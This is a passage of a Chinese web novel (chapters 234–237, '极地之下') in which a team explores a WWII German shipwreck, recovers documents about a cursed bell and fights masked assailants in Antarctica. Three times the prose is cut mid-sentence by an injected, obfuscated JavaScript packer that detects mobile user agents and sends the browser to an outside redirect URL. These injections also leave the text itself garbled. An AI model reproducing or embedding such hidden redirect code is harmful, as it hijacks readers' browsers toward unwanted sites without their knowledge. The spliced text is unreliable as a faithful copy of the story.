它庞大得超乎想象,皮肤上布满白色的斑点和水痕。它缓慢地摆动着尾鳍,搅动磅礴的水流,推得他们在水中微微摇晃。它的一只眼睛幽黑深邃,在游经他们上方时,似乎朝这边扫了一眼。 那一眼没有任何情绪,只有属于深海的漠然与苍凉。 然后,它继续向上游去,巨大的身影最终消失不见。 随歌差点忘了呼吸,直到肺部传来窒息感才猛地吸了一口气,结果被冰冷的空气呛得直想咳嗽,这在水下这可不是好体验。他手舞足蹈地比画着,指向鲸鱼消失的方向,脸上写满了“卧槽刚才那是什么?!” 埃文打出手势示意冷静,并指了指下方:继续下潜,目标还在深处。 手电光成为唯一的光源。水温似乎也在下降。周围开始出现一些奇形怪状的深海生物:发着光的水母鬼魂般无声漂过;眼睛凸出的怪鱼躲在岩石缝隙里;还有一些附着在陡峭海壁上的珊瑚或海绵,在黑暗中静静绽放着诡异的美。 一切都缓慢,安静。 就在这种无休止的下坠感几乎要让人麻木时,埃文的手电光柱,定格在了下方。 那是一片相对平坦的区域。而在那片区域的中央,一个巨大的轮廓静静地卧在那里。 正是施瓦茨维尔特号,船身上覆盖的沉积物厚达数米,舷窗大多破碎,里面是深不见底的黑暗。船首高高翘起,指向他们来的方向。锚链从船首垂下,深深陷入海床的淤泥中。 它就那样躺在海底,被黑暗包裹,散发着一种沉重的死亡气息。 埃文停在沉船上方约二十米处,不再下潜。他转向众人,打出手势:检查装备,准备进入。 234.极地之下 就在埃文打出这个手势的同时,后方的景明垂忽然做出了“停止”和“注意”的手势,手指直指沉船侧舷下方,那里有一处被巨大珊瑚礁笼罩的区域。 几个人纷纷将手电筒照向那边。 一个穿着老式潜水服的人形轮廓,正背对着他们,紧贴着沉船的侧板,“行走”着。它的动作没有流畅感,反而像一卡一卡的机器人。随着它的移动,周围的海水隐隐泛起一圈圈暗红色的涟漪,仿佛有什么东西正从它身上扩散开来。 埃文立刻打出“警戒”和“不要靠近”的急促手势。 那个诡异的“潜水员”对这群不速之客毫无反应,依旧重复着僵硬的“行走”,绕过一处被海藻覆盖的断裂管道,缓缓消失在了沉船另一侧更浓重的阴影里。 暗红色的涟漪渐渐消散在墨蓝的海水中。 随歌吓得浑身一哆嗦,手忙脚乱地比画:刚才那是什么玩意儿?!鬼吗?! 埃文没有回答。他悬浮在原地,脸色阴沉。沉默了几秒,他才转向众人,打出手势:危险,未知,极度警惕,任务继续。 他没有避开那个方向,示意众人跟上,朝着沉船侧舷缓缓游去。 厚重的防水舱门半掩着,露出的黑暗。埃文转头,指向初与序、景明垂和江意,又指了指那个舱室入口,示意他们进去搜查。然后指了指自己和冬逢初、随歌,做了一个“留守外部,警戒”的手势。 初与序点头,调整了一下呼吸调节器,率先朝舱口游去。景明垂和江意紧随其后。 舱室内部幽暗,海水浑浊。在看到船舱内时,三人微微一顿。 数十具遗骸。 全部穿着德军制服的遗骸。有的背靠舱壁,双手死死掐着自己的脖子,骷髅头向后仰着,下颌骨张开;有的几具纠缠在一起,锈蚀的匕首或刺刀深深插入彼此身体;有的匍匐在地,手臂向前伸出,五指抓握着什么东西;还有的蜷缩在角落,双手抱头。 海水轻轻涌动,带动那些零散的骨骼微微晃动,发出细微的。更深处,还有更多模糊的轮廓隐没在黑暗里。 景明垂看向一具靠着控制台的军官遗骸,他胸前的口袋露出半截皮面笔记本。她游过去,将笔记本抽出。纸张早已被海水浸泡得粘成一团,字迹模糊难辨,一碰就碎。她摇了摇头,将碎屑放回原处。 江意游向舱室另一端,检查片刻,没什么有价值的发现。 初与序停在原地,看向船舱室最内侧,那里有一扇带有圆形观察窗的金属门,门上用德文标着“Kapit?n”(船长)。 她打出手势,示意景明垂和江意。 三人游到船长室门前。门紧闭着,但门轴锈蚀得没那么严重。江意使用重力手环,推动厚重的金属门。 海水同样灌满了这里,一张固定在甲板上的办公桌,一把翻倒的椅子。一具穿着船长制服的遗骸坐在办公桌后的地板上,背靠着桌腿,头颅低垂,双手放在膝盖上,姿态竟显得有些平静。 而在斜前方的地板上,放着一个带有密码转盘的金属保险箱。箱子不大,但看起来很坚固。 初与序双手捧起箱子,试着转动密码盘,但七十年过去,内部早已锈死。她将箱子递给身后的景明垂,琴弦从景明垂手环上缓缓浮动,探入锁孔内,轻而易举就切开了保险箱。 她拉开箱门,里面应该有特殊的密封层,并没有水。放着一本用油布包裹的笔记本,一叠用防水袋装好的图纸,还有一个空空如也的小木盒,应该是原本存放血誓铃的。 江意把那笔记本和图纸捞出来。笔记本的封皮上写着“Kapit?ns Tagebuch”(船长日记),图纸则是一张绘制精密的青铜铃铛结构图,旁边标注着密密麻麻的德文注释和公式,铃铛表面有着几道暗红色刻痕,正是血誓铃的原始设计图。 纸张虽然被油布保护,但终究年代久远,被海水浸透,墨迹有些晕染。江意把这些东西收好,塞进自己潜水服胸前一个防水内袋里。 初与序游到船长遗骸旁,仔细检查。船长的手边没有任何武器或挣扎痕迹,他低垂的头颅正对着保险箱的方向,像在生命最后一刻,只是安静地看着这个存放着秘密的箱子。 她注意到船长制服的左侧内袋有些鼓胀。她伸手,从里面摸出一个扁酒壶,还有一张用蜡封密封得很好的防水纸条。 酒壶已经空了。她打开纸条,就着手电光看去。 上面只有一行用德文写的、笔迹颤抖但清晰的字: [Wer den Fluch tr?gt, wird ihn nie los. Es sei denn, er opfert mehr, als er besitzt.] (携此诅咒者,永难摆脱。除非,他付出多于所拥有的代价。) 初与序盯着纸条看了片刻——当然没看到,将纸条重新折好,和空酒壶一起,放回了船长口袋。她对着船长的遗骸欠了欠身,算是道歉。 搜查完毕。三人船长室,与外面留守的三人汇合。 埃文点了点头,打出手势:东西到手,准备撤离。 初与序转身刚打算往上方游去,余光却瞟见下方的冬逢初停留在原位,看着沉船下方,神色警惕。她抬起手,示意其他人注意。 众人立刻顺着他的目光看去—— 只见刚才那个穿着老式潜水服、行动僵硬的“人影”,不知何时又出现了。这一次,不止一个。 两个,三个……足足五六个类似的身影,从沉船底部缓缓浮出,在沉船周围无声地“行走”,形成一个包围圈。 所有这些人影,此刻都整齐划一地缓缓转过头,面朝着他们六人所在的方向。 尽管隔着浑浊的海水,根本看不清那些脸,但所有人都能清晰地感觉到,那些注视绝非善意,穿透海水,牢牢锁定了他们。 这是在海底!不要搞啊喂! 埃文几猛地打出一连串手势:撤离!立刻!向上! 他第一个调转方向,双腿用力一蹬锈蚀的船体,朝着上方奋力游去。 初与序反应很快,拽了一下旁边还有些发愣的随歌,和另外几人一同向上游。 上潜比下潜更需要控制速度,以防减压病。但现在没人顾得上那些规程。 然而,那些“潜水员”动了。 它们保持着僵硬的姿态,但速度却快得不可思议,瞬间就“平移”到了他们上方的路径上,再一次形成了阻挡。并且这一次它们之间的距离在缩小,包围圈在收紧。其中两个“潜水员”甚至抬起了手臂,拦着他们。 埃文猛地停下,手电光死死照向其中一个最近的“潜水员”,众人看得更清晰了一些。 那老式潜水服的面镜后面,是一片暗红色,像干涸的血,又像某物填满了整个头盔内部。在光线的照射下,那暗红色微微波动了一下。 六人耳边同时响起断断续续,模糊不清的声音: “……血誓……留下……或者……加入……” 随歌吓得一个激灵,差点呛水,手忙脚乱地比画:什么鬼东西在说话?! 埃文脸色铁青,显然不是第一次听到这种东西。他猛地从自己腰间拔出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136456|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把造型古怪短刃。短刃一出,周围的海水都震荡了一下,那几个“潜水员”的动作也停了一秒。 埃文用短刃在自己前方的海水中飞快地划了几下。刀刃划过,留下几道暗红色的光痕,组成一个简陋的符号。 那些“潜水员”像是被这符号灼伤,齐刷刷地向后退开了一段距离,包围圈出现了缺口。 “走!”埃文用尽力气打出手势。 众人不敢耽搁,立刻从缺口处全速上浮。那些“潜水员”没有再直接阻拦,但它们还是悬浮在下方,面朝上方,注视着他们离开。 海水从墨蓝渐渐变成深蓝,再变成灰蓝,头顶的光带越来越明亮。 “哗啦——” 六人相继破水而出。 冰冷刺骨的空气瞬间包裹住湿透的潜水服,比水下更甚。天竟然已经彻底黑了,只留下浓得化不开的夜幕。海面上依旧弥漫着灰雾,雾气吸收了所有光线。 初与序抹了一把脸上的海水,在海面上寻找,橡皮艇确实不见了。 六个人悬在海水中,勉强漂浮。 “艇真不见啦?”随歌咳出几口海水,睁大眼道。 冬逢初抬手将湿透的刘海撩到后方,无奈道:“……是的,” 入夜后,极地海面的气温暴跌。四肢已经开始发麻僵硬这样下去,不需要那些海底的“东西”追来,再过半小时,这几人就能在这里被冻成冰块。 埃文摘下了面镜,灰色的眼睛在黑暗里更沉。他没有去寻找小艇的迹象,只是看着某个方向的浓雾深处。 就在初与序感觉指尖的麻木开始向手掌蔓延时,一阵微弱但清晰的马达声,穿透浓雾和黑暗,从某个方向传来。 突突突…… 所有人循声望去。 紧接着,一道昏黄的光柱在海面上扫过,停在他们六人所在的位置。 光柱有些刺眼,初与序下意识地眯起了眼。 随着马达声靠近,一艘比之前橡皮艇稍大一些的小游艇,缓缓从雾气中驶出,停在了他们附近。船头站着一个人,手里举着一盏老式煤油灯,昏黄的光映亮了他布满皱纹、胡子拉碴的脸。 哈康穿着防水皮袄,戴着毛茸茸的皮帽,浑浊的蓝眼睛在灯光下没什么情绪。 “啧,”他咂了咂嘴,声音在寂静的海面上显得格外清晰,“就知道会这样,上来吧。” 他放下一个小型的绳梯,垂到海面。 埃文朝着游艇的方向划水,动作不紧不慢。五人跟上埃文,上了游艇。哈康没多看他们,转身走向船尾的小驾驶舱,丢过来几条羊毛毯子:“裹上,别死在我船上,晦气。” 他又拿出一个旧锡壶,往几个铁皮杯子里倒了些什么热腾腾的液体,递过来:“喝。” 初与序刚接过杯子,辛辣刺鼻的气味就冲入鼻腔,这是高度数的烈酒。 火辣辣的液体顺着喉咙烧下去,在胃里点燃一团小小的火焰,驱散了一丝深入骨髓的寒意。 哈康重新掌舵,小游艇调转方向,朝着浓雾深处驶去。马达声平稳地响着,煤油灯的光晕在雾气中晕开一小团昏黄的安全区。 随歌缓过一口气,裹紧毯子,心有余悸地问:“您怎么知道我们在这儿?还专门来找?” 哈康头也没回:“这片海,我熟。雾起的时候,就知道你们那破橡皮艇扛不住。你们下了水,拿了不该拿的东西,那些老朋友自然会闹腾。动静虽然人听不见,但海知道。” 他侧过脸,浑浊的眼睛瞥了一眼埃文,又扫过其他人苍白的脸。 “算你们命大,能浮上来。” 235.极地之下 小游艇破开浓雾,靠上一片冰原边缘。冰层很厚,哈康将船拴在一块冰岩上。 “夜里下海是找死,”他跳下船,嘟嘟囔囔道,“这片海,太阳一落,有些东西就醒了。今晚在这儿扎营。” 众人卸下装备,在冰原背风处找了块相对平整的地面。哈康从游艇上搬下一个小型折叠帐篷和几块隔冷垫。 营地很快搭好,炉子生起,火光驱散了小范围的黑暗。 七个人围坐在炉边,江意取出防水袋,将船长的日记和那张血誓铃设计图摊开,放在炉火旁烘烤。 待纸张烤得半干时,他轻轻拿起来阅读,片刻,他开口: “日记里提到了,他们在海岸附近建立了一个小型前进基地,用于存放一些物资和研究。血誓铃在沉船前,很可能被转移到了那里。” 他看向众人:“日记里给了大致坐标,和之前地图上标注的德国临时基地位置吻合。就在离这里不算太远的冰川平台上,就是我们在冰裂对岸看到的那个有残破旗子的地方。” 埃文抬眼扫了他一眼,似乎是在惊讶他看一眼就能记住地图的能力。 冬逢初问道:“那么血誓铃是在那个基地里?” “有可能。”江意点头,“船长在最后几天的记录里很混乱,他们可能预感到船会出事,提前做了准备。等天亮,我们去那里看看。” 哈康一直坐在稍远一点的地方,抽着烟斗,望着炉火,对他们的讨论漠不关心。直到这时,他才磕了磕烟灰,提醒:“夜里守夜,眼睛放亮点。这片冰原,夜里不太平。” 他说完,便钻进帐篷里,裹紧毯子,不再出声。 轮流守夜,初与序和景明垂是第一班。 夜色渐深,炉火被控制到最小,只保留一点维持温度的光源。初与序和景明垂坐在一块凸起的冰岩后,面朝冰原和海面。 极地的夜晚,寂静是一种有重量的东西。风声很小,寒冷无孔不入。 不知过了多久,寂静突然被打断。 呜嗷———— 一声嚎叫从极远处的冰原深处传来,在空旷的冰面上回荡。 初与序和景明垂同时抬眼,望向声音传来的方向。那里只有无边无际的黑暗。 “什么情况?”景明垂站起身眺望,仍然什么都看不到。 声音没有再次响起。冰原重归死寂。 但没过多久,景明垂的目光转向了海面,初与序随之望去,墨黑的海水不知何时泛起一片深蓝色磷光。在那片磷光之中,一个庞大的阴影缓缓游过。 阴影轮廓模糊不清,但长度目测绝对超过数十米,如同传说中的海怪,又像是某种早已灭绝的远古巨兽在深海巡游。它游动的速度并不快,没有掀起巨大浪花。 它从营地前方约数百米外的海域滑过,身影在磷光中时隐时现,最终缓缓消失不见。海面恢复平静。 “鲸鱼?”初与序问。 景明垂沉默了片刻:“不知道。但哈康说的‘夜里醒来的东西’,恐怕不止一种。” 远处的冰原深处,那声诡异的嚎叫再也没有响起。但海面之下,那庞大的阴影是否真的离去,无人知晓。 南极的夜很长,天光在厚重的云层后透出灰白,雾气比昨夜淡了些许。 哈康的游艇在天亮后不久便靠回了他们最初下水的地方附近。他动作利落地解缆绳,发动马达,没多说一句话,只是在毫不客气地顺走一瓶埃文的酒,然后挥了挥手,小游艇便突突地破开雾气,很快消失在迷蒙的海面上。 “走吧。”埃文收回目光,整理了一下背包。 五人重新踏上冰原,朝着记忆中冰裂对岸的方向前进。 走了约莫一个多小时,前方再次出现了那道横贯东西的巨大冰裂,以及更远处冰川平台上的纳粹旗帜。而要到达对岸平台,需要先从他们所在的这边,下降到冰裂底部的冰川谷地,再寻找路径攀爬或绕行上去。 拦在他们面前的,是一道陡峭的冰崖。高约三四十米,近乎垂直,表面覆盖着积雪。 埃文从背包里取出登山绳和冰锥,熟练地在崖顶选定了几个坚固的冰层点,将冰锥深深敲入,主绳牢牢固定。 “你们先下。”埃文朝江意和随歌抬了抬下巴,“用八字环,控制速度。到底后发信号。” 江意点头,上前将安全带扣上主绳,挂好下降器,检查无误后,便转身面向冰崖,踩住冰壁,开始匀速下降。 接着是随歌。他深吸一口气,也顺利开始了下降。 下降进行到大约一半,随歌正小心翼翼地寻找下一个落脚点时,一片刀刃从远处一根冰柱后方射出,切向连接随歌和崖顶的那段主绳! “小心!”崖顶的初与序喝道。 但已经晚了,坚韧的登山绳眨眼间断开,随歌整个人失重,朝着下方深不见底的冰川谷地直坠下去! 下方已经快落到谷地的江意猛地抬头,毫不犹豫地抬起右手,朝着随歌虚虚一握。 “哇靠——”随歌猛地停在半空中,吓得心脏差点安静下来。紧接着他晃晃悠悠地朝着谷地飘落下去,最终双脚轻轻踩在了积雪上,毫发无伤。 崖顶众人松了半口气,初与序看向刀片飞来的方向。 一道模糊的人影在冰柱后一闪而过,快得几乎像是错觉,随即消失在更浓的雾气之中。 下方谷地,江意迅速解下降落器,将随歌拉起来,也看向冰柱方向。 “屠宰场的成员。”他冷冷道,“他们在这里。” “有三个人。”初与序淡淡道,“冰柱后一个,左前方那片冰蘑菇区域至少一个,右后方冰棱一个。” 随歌好不容易缓过来,喃喃道:“咋看出来的这是……” 江意抬头,对埃文道:“埃文,固定点检查,防备二次破坏。景明垂,警戒上方和两侧冰壁,防止攀爬突袭。” 埃文立刻开始检查剩余的固定点和绳索。景明垂退后两步,背靠冰壁,金色琴弦滑出手腕。 下方谷地,江意已经将随歌拉到一块冰岩后。 对方一击不中,暴露了部分位置,却没有立刻发动第二波攻击。 “不能耗在这里。”冬逢初对初与序道,“他们干扰我们寻铃,被动防守只会给他们更多布置陷阱的时间。” 初与序点头,看向下方:“意哥,随歌怎么样了?” “活蹦乱跳。”江意的声音从下方传来。 “能上来吗?” “可以。但需要新的绳索。”江意看向陡峭的冰壁。 “不用。”冬逢初已经解下了自己身上的安全带,只留下冰镐。他转向初与序,“我先下,你和景明垂、埃文随后。意哥在下面接应。速降,不停留。” 速降,意味着放弃安全的绳降设备,仅靠冰镐和个人技巧,以最快速度沿冰壁滑降。风险极高,尤其是在可能有埋伏的情况下,但也是打破僵局的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136457|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法。 几个人点头道:“好。” 冬逢初走到冰崖边缘,看准下方一处冰壁的路线,纵身一跃,急速向下。 初与序的余光看见在左前方冰蘑菇区域,一道人影猛地探出,手中似乎举起了什么远程武器。景明垂立刻感知到,抬起手轻轻一挥,琴弦破空而出,射向那人头顶上方一块冰棱。 “嗤啦——”一声,冰棱被切断,轰然砸落! 那人显然没料到攻击来自这个角度,惊呼一声,狼狈地向后翻滚躲避,手中的攻击也被打断。 冬逢初已经滑降到一半,江意在下方看准时机,将重力施加在他即将落点前方的一片积雪上。积雪被压实,冬逢初双脚稳稳踩上,立刻侧身翻滚,躲入旁边的冰岩后。 初与序抓住绳索末端,将绳索在手臂上快速缠绕几圈,快速索降而下,埃文和景明垂紧随其后。五人全部安全抵达谷地,汇合到冰岩后。 谷地地形复杂,遍布冰岩,冰沟和冰塔。雾气在这里也更浓一些。 “他们没追下来。”江意低声道,“也可能在临时基地那边有更多布置。” 埃文喘匀了气,怒道:“这群疯子……他们到底想干什么?抢铃铛就抢铃铛,非要置人于死地?” “要不说他们叫屠宰场呢。”随歌摇了摇头,叹道。 初与序取出有德国基地的地图,再次确认方位:“德国临时基地就在前面不远,绕过这片冰塔林,应该就能看到上到平台的路径。” 短暂的休整后,队伍再次出发,潜入谷地深处。 冰塔林密密麻麻,高矮错落。气温下降得厉害,吐出的白雾顷刻间被寒风吹散。 走了大约二十分钟,前方探路的冬逢初忽然停下,示意众人就近隐蔽。 他蹲下身,仔细观察着前方一片雪地。雪地洁白无瑕,与周围毫无二致。但他伸出手,从旁边冰塔上掰下一小块碎冰,轻轻抛了过去。 碎冰落在雪地上,那片直径约三米的“雪地”竟然塌陷!露出下方一个冰窟,积雪簌簌落下,许久才传来微弱的落底声。 “啧。”随歌在后面看得头皮发麻,“他们还真是不遗余力……” 话音未落,三支短弩箭,从三个刁钻的角度射来! 景明垂手腕一抖,三道琴弦后发先至,抽打在射向她和埃文、随歌方位的两支弩箭上。弩箭被抽得偏离方向,深深扎入旁边的冰壁。 射向殿后的初与序那一箭来自头顶冰塔的凹陷处,几乎是垂直而下! 初与序侧身滑步,右手抽出短刀,格开了弩箭。接着抬头看向弩箭来处。那里已经空无一人,只有冰塔上的积雪被刚才的动作震落些许。 江意检查着雪地上的痕迹,说:“人已经离开了,脚印很浅,至少两人,向东北方向撤退。” 东北方向,正是通往冰川平台上德国临时基地的必经之路。 “他们在引我们去,还是在那边设好了埋伏?”随歌紧张地问。 “都有。”景明垂说:“但我们必须去。铃铛可能在那里。” 谷地渐渐到了尽头,前方出现了一道倾斜向上的冰川坡面。坡顶,就是那片冰川平台,一面残破的纳粹铁十字旗,在风中狂舞。 通往坡顶的路径不止一条,但都同样难行。五人选择了掩体较多的一条,谨慎上行。 这里竟然寂静无声,没再见到屠宰场任何人与陷阱,但那种被窥视的感觉仍然在。 236.极地之下 几人终于踏上了冰川平台。 平台面积不小,寒风毫无遮挡地呼啸而过。中央偏右的位置,便是那处德国临时基地。 几座半埋入冰层的营房,大部分已坍塌,被积雪掩埋了大半。只有最高那间屋子还算完整,屋顶破了个大洞,那面旗帜就插在门旁的冰堆上。 被窥视的感觉在他们踏上平台后,变得更明显,但周围除了废墟和冰雪,空无一物。 “人就在附近,”江意压低声音,“至少三个方向,目前没有攻击意图。” “他们在等什么?”随歌忍不住问。 “等我们进去,或者 ……等我们找到东西。”初与序说。 冬逢初做了个手势,示意他和江意先靠近侦查。 两人借助废墟遮挡,靠近营房。门早已不翼而飞,里面黑黢黢的。冬逢初在门口侧耳倾听片刻,然后朝江意点了点头。 江意率先闪身而入,冬逢初紧随其后。片刻后,里面传来江意的声音:“暂时安全。” 初与序、景明垂、埃文和随歌这才快速进入营房内部。 营房内部比外面稍大,光线从屋顶破洞透入,勉强照亮内部。这里显然曾被用作实验室。靠墙是铁架和工作台,上面散落着一些仪器,墙上钉着几张泛黄的海图和图纸。 房间一角几个档案柜保存得相对完好,柜门紧闭,还有老式的密码锁。 景明垂上前,撬开了其中一个档案柜。 文件整齐地码放在柜子里,大部分是用德文写的。江意上前,快速翻阅起来。 “这里记录了很多关于‘物品-07’的测试。”江意德语阅读能力很强,“就是血誓铃。” 他抽出一份装订好的实验记录:“‘滴血认主实验’。他们用战俘测试,发现单人滴血后,受试者只会产生轻微精神扰动和幻觉。但两人或两人以上同时滴血,尤其是存在强烈情感联系,如亲人、挚友、恋人的两人,铃铛便会与滴血者建立联系。摇铃者对滴血者施加更强大的命令。” 他翻到另一页,上面有手绘的图表:“笔记里提到,这种情感联系是铃铛发挥最大效力的关键,也是它最初被设计用来从内部瓦解敌对团体的核心机制。破坏信任,操控情感,比直接杀伤更致命。” 另外五人默默听着。 “还有这个,”江意又找出一份泛黄的报告,标题是《关于威德尔海域异常生物现象与“物品-07”潜在关联性的初步观察》。 “里面提到了‘深海守护者’——报告认为南极冰海下存在某种古老的本土生物,或生物群落,它们与这片海域的生态’存在共生或守护关系。而‘物品-07’的能量波动,会吸引它们。携带铃铛或进行相关操作,可能招致它们的攻击。” 报告后面附着几张素描,描绘着一个庞大的阴影轮廓,与他们在海底沉船周围以及昨夜海面上瞥见的巨大阴影,差不多。 “所以,我们不仅要防着屠宰场,还得防着海底的‘土著’?”随歌感觉头更大了。 “或许吧,但是血誓铃不在这里。”冬逢初说道,“目前那些生物不会主动攻击我们。” 初与序侧头看了一眼窗外:“铃铛应该在别处。先离开,这里不是久留之地。” 五人退出营房,沿着来路,准备快速撤下平台。 然而,就在他们走到平台边缘,准备沿着陡坡下行时,平台四周的雪堆,冰岩后方,甚至从下方陡坡的冰壁上,跃出十余道身影! 这些人穿着统一的灰白色作战服,脸上戴着白色面具。每人手中都握着一把短刀。 十余人散开阵型,从前后左右多个方向,朝着五人扑来,封死了所有退路! 初与序脚步一顿,冰蓝短刀已滑入手中。她脚下一滑,拔出弧度,格开正面刺来的一刀,手腕翻转,刀锋顺势抹向对方咽喉。 对方都没来得及出声,颈部的鲜血便喷洒而出,初与序后退一步,避开洒向自己的鲜血,冷冷看着他倒下。 冬逢初的长剑出鞘,将侧面和后方袭来的数道刀光拦下:“随歌,你后面有人。” “我操!”随歌怪叫一声,手中竹扇“唰”地展开。手腕一抖,朝着扑向自己的两人猛地一扇。 一股强劲的凛冽气流凭空而生,狠狠撞在那两人身上!两人动作一停,被冰渣和雪扑了满面,看不清路。 江意站在原地未动。他抬起左手,手腕上的重力手环光芒微闪。 下一刻,所有正在攻击面具人,动作齐齐一沉。仿佛背负了千斤重物,步伐踉跄,挥刀的速度减弱。更有两个从侧上方扑下的,直接被重力场压得重重摔在冰面上! 景明垂后撤半步,金色琴弦没入脚下冰层,指尖轻轻一勾。 数道琴弦从冰面之下射出,缠绕上距离最近的人的脚踝和小腿。金线绷紧,深深勒入作战服。那几个面具人顿时失去平衡,纷纷扑倒在地,挣扎难起。 几人趁着这机会,朝着前路跑去。 面具人并未放弃,仍有一部分人挣脱重力影响,避开琴弦,试图追击。 江意回头,立刻改变重力场方向,猛地向前方一推。冲在最前的几个面具人如同被犀牛撞中,整个人向后倒飞出去,重重砸在后面的冰岩上,一片混乱。 待他们挣扎着爬起来环顾四周时,几人身影已经消失不见。 冰塔林遮蔽了行踪。五人一口气撤出数里,在一片背风的凹地停下。 寒风凛冽,吹得人几乎站立不稳。 “那些戴面具的,不是屠宰场的主力。”江意靠着一块冰岩,“屠宰场的人应该还在暗处看着。” 埃文喘匀了气,脸色难看:“铃铛不在这里,我们白跑一趟,还彻底暴露了。” “也不算白跑。”冬逢初温和道,“至少知道了铃铛的启动条件,而且,他们不惜动用埋伏,说明我们找的方向没错,他们很紧张。” 江意看向埃文摊开的地图:“分头行动,初与序去海岸线,检查有没有当年其他船只或飞机的痕迹,确认盟军是否知情,或许有其他线索。冬逢初,你去另一侧,探查是否有其他隐蔽路径或小型营地痕迹。我,景明垂,跟埃文去附近的冰洞看看,或许还有当年探险队遗漏的东西。随歌留下,扎营,看守装备,保持通讯畅通。” 随歌苦着脸:“又是我看家啊……” 五人快速拿上装备,初与序只带了短刀和基础工具。 “保持联系,遇到任何情况,及时预警,不要硬拼。”江意最后叮嘱一句,便率先转身,没入风雪之中。 “走了。”初与序将短刀别在腰间,侧头道别。 海岸线边,巨大的浮冰被潮水推挤上岸,堆积成冰墙,行走其上,需要小心被突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136458|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移动的冰块砸中。风从海面吹来,带着咸腥和刺骨的寒意。 初与序沿着冰岸线缓慢移动,走了大约半小时,在一处被巨大冰山阴影笼罩的冰滩上,她停下了脚步。 前方的冰层里,冻结着一些深色的碎片。她走近,用短刀小心地刮去表面的冰霜。 那是金属,扭曲变形的铝镁合金蒙皮,上面还残留着蓝白相间圆形标志,是盟军的徽记。旁边还有半截扭曲的螺旋桨叶片,以及一些碎裂的仪表盘残骸。所有东西都被厚厚的冰层包裹。 一架飞机的残骸。而且从样式和徽记看,是二战时期盟军的侦察机。 初与序蹲下身,仔细查看。残骸散落范围不大,更像是迫降或坠毁后,被洋流推到这里,然后被冰雪掩埋冻结。她在一块较大的蒙皮内侧,发现了模糊的刻字,勉强能辨出“USAAF”(美国陆军航空队)和一部分编号,以及一个日期:MAR 1945。 1945年4月。 和施瓦茨维尔特号沉没的时间吻合。 当年,盟军不仅知道纳粹的船在这里,甚至还派出了侦察机。这架飞机的坠毁,是意外,还是与那艘船、那个铃铛有关? 她站起身,望向远处雾气弥漫,冰山浮动的海面。 寒风呼啸,卷起冰滩上的雪沫,扑打在她的身上。远处深蓝色的海水中,仿佛有巨大的阴影再次缓缓游过,又或许只是冰山投下的倒影。 她转身,打算回营地,将消息汇报给江意他们。 忽然,身后传来一股寒意—— 尖锐的水流破冰而出,直直刺向她! 初与序立刻朝着一边扑去,冰冷的水流擦着她的后背划过,带起一阵火辣辣的痛。更多冰冷的海水扬起,劈头盖脸浇了她一身,几滴水珠故意溅入她眼中,刺得生疼。 她硬是没眨眼,水珠滚落,视线模糊了一瞬,又立刻聚焦。 那水流在她面前停止,扭曲塑形,转眼化成一个穿着黑色冲锋衣的男人,脸上覆着黑色面具,看不清面容。 屠宰场的首领? 初与序冷静地打量着这个男人,男人个子很高,身形劲瘦,肌肉线条在湿透的衣料下清晰,像是从小就进行训练。 只一眼,初与序就清楚自己打不过他。 “终于见面了,初小姐。”男人的声音没什么情绪。 初与序没出声,抬手作势去擦脸上水渍,指尖偷偷移向右耳的耳骨夹。 然而她手指刚动,面前的首领也抬了抬手。一股强劲的水流凭空而生,狠狠砸在初与序右脸侧! 初与序被这股巨力带得向旁踉跄,右耳嗡鸣一片,温热的液体顺着耳廓流下。耳骨夹被水流击飞,带出一串细小的血珠,在空中划出一道弧线,径直飞向远处墨蓝的海面。 耳骨夹不能丢。 初与序顾不上疼痛,足下发力,朝着耳骨夹飞落的方向跃去! 首领与她同时动了,他身形一晃,竟直接化为一缕水流,贴着冰面疾掠。 耳骨夹抢先一步,噗通一声没入海水。 初与序扑到浮冰边缘,只碰到了冰冷的海水。她毫不停顿,足尖在浮冰边缘一点,借力转身,冰蓝短刀快速向后横扫! “铛!”一声,短刀与一道水刃狠狠撞在一起。初与序虎口发麻,被震得向后滑退几步,落在另一块浮冰上。 237.极地之下 右耳火辣辣的疼,嗡嗡作响,几乎听不见风声水声。初与序抬起头,看向对面。 首领也已重新凝聚身形,站在不远处一块浮冰上,朝着她的方向,表情被面具遮住看不到,却能感觉到那目光的冰冷。 他的身影再次化成一道水流,骤然蹿来,凝聚成拳,狠狠砸向初与序的太阳穴! 初与序矮身翻滚,短刀向上,划过水流。顺势向后滑开,冰蓝短刀在身前划出刀网,勉强逼退了紧随而来的几道水流攻击。 首领时而在冰面凝聚人形,凌厉的拳脚带着千钧之力。他一定早早研究过初与序的攻击习惯,时而化入海水,从根本猜测不到的角度发动突袭,每一次袭击都精准击在初与序弱点处,防不胜防。短短几息交锋,两人身上都挂了彩。 